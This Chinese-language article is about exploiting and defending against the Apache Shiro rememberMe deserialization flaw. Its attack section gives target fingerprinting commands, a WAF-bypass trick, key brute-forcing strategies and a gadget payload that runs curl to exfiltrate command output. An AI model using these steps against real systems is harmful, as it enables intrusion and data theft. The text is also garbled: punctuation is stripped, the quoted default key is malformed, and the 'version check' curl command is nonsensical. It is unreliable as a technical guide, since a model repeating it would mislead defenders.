1. Shiro反序列化漏洞的前世今生第一次遇到Shiro反序列化漏洞是在2019年的某次企业内网渗透测试中。当时目标系统使用了Shiro 1.2.4版本我在Burp Suite里随手试了下那个著名的默认密钥kPHbIxk5D2deZiIxcaaaA没想到直接弹回了系统shell这种开箱即用的漏洞让我至今记忆犹新。漏洞的本质其实是个典型的钥匙放门口问题。Shiro框架为了用户便利在rememberMe功能中内置了默认加密密钥。这就好比开发商给所有业主配了同一把门锁钥匙只要拿到这把万能钥匙攻击者就能伪造任意用户的身份凭证。更危险的是Shiro在反序列化过程中没有做任何安全检查导致攻击者可以通过精心构造的恶意对象实现远程代码执行。实际测试中发现存在这个问题的系统比想象中多得多。去年某次护网行动中我们对300个目标系统进行扫描发现仍有23%使用存在漏洞的Shiro版本。这些系统主要集中在金融、政务领域的老旧业务系统很多都是当年快速上线时直接采用了默认配置。2. 攻击者的完整作战手册2.1 目标识别与指纹采集在真实攻防演练中我通常会先用组合拳确认目标是否使用Shiro# 检查特征性Cookie curl -I http://target.com/login | grep -i rememberMedeleteMe # 识别默认favicon curl http://target.com/favicon.ico | md5sum # 正版Shiro的favicon MD5应为3b1d7e08b27d5dea9a14f8c95a3cb9e4有个容易被忽略的细节某些WAF会过滤rememberMe字段这时可以尝试大小写变种如RememberMe、REMEMBERME等。去年在某央企的测试中就是通过REMEMBERME这个变形绕过了一款知名WAF的检测。2.2 密钥爆破的艺术当默认密钥无效时我会准备三套爆破方案高频密钥字典包含网上泄露的100常见密钥如各大厂商的定制密钥智能生成规则根据企业名称缩写年份的组合生成候选密钥流量时序分析在不出网环境下通过响应时间差异判断密钥有效性实测中最有效的还是基于企业特征的密钥猜测。曾遇到某系统使用公司简称2020!作为密钥就是通过办公系统源码中的注释推测出来的。2.3 不出网环境下的花式利用在去年某次护网中遇到个棘手案例目标服务器无法出网且没有回显。最终通过多层迂回实现利用先用DNSLog检测漏洞存在性利用内存马注入无文件webshell通过内网SSRF将数据外带# 内存马注入示例 payload generate_gadget( commandcurl http://internal-api/data?leak$(whoami|base64), gadgetCommonsBeanutils1 )这种场景下最考验的是对Java内存马的理解深度。推荐掌握Behinder、Godzilla等工具的原理而不是简单套用现成payload。3. 防守方的铜墙铁壁3.1 密钥管理的军规给企业做安全加固时我定下的第一条铁律就是密钥要像核按钮一样管理。具体实施包括采用KMS服务动态轮换密钥不同环境使用不同密钥dev/test/prod分离密钥长度必须≥256位最近帮某银行改造的方案就很有意思他们开发了密钥自动轮换系统每天凌晨3点更新所有环境的Shiro密钥同时保留前一天的密钥做平滑过渡。3.2 流量监控的黄金指标防守方在WAF上应该重点关注这些特征Cookie中出现超长rememberMe值500字节必可疑同一IP短时间内尝试多个不同rememberMe响应中出现特征性异常栈信息如InvokerTransformer分享个真实案例某次应急响应中我们就是通过ELK日志发现攻击者测试了7种不同密钥从而在真正攻击前就阻断了威胁。3.3 升级改造的避坑指南很多团队升级Shiro版本后仍然被黑通常是忽略了这些细节依赖冲突导致实际运行的仍是老版本配置文件被spring.properties覆盖集群环境下部分节点未同步更新建议用这个命令确认真实运行的Shiro版本curl -X POST http://localhost:8080/ --data $(#aorg.apache.shiro.SecurityUtilsgetSubject()).getPrincipals()4. 新型攻击手法的攻防演练最近半年出现了几个值得注意的新趋势内存马进化攻击者开始使用Java Agent技术注入持久化后门重启服务器都无法清除。我们在某次演练中发现的样本居然会检测是否在VMware环境中运行如果是则停止恶意行为。密钥爆破智能化新型爆破工具开始结合机器学习能根据响应特征自动调整爆破策略。实测某款工具对随机密钥的爆破效率比传统方法高40%。混合利用模式攻击者会先利用Shiro漏洞获取基础权限再组合Spring Cloud Gateway等漏洞横向移动。最近处理的一个案例中攻击链涉及5个不同组件的漏洞。防守方需要更新检测策略比如在EDR规则中加入Shiro相关类的非正常调用可疑的ClassLoader操作异常的序列化流量模式护网实战中最深刻的体会是永远不要假设攻击者只会用已知的漏洞利用方式。去年遇到最狡猾的攻击者他们故意使用无效密钥触发WAF告警等防守团队疲于应对时再从另一个入口用0day突破。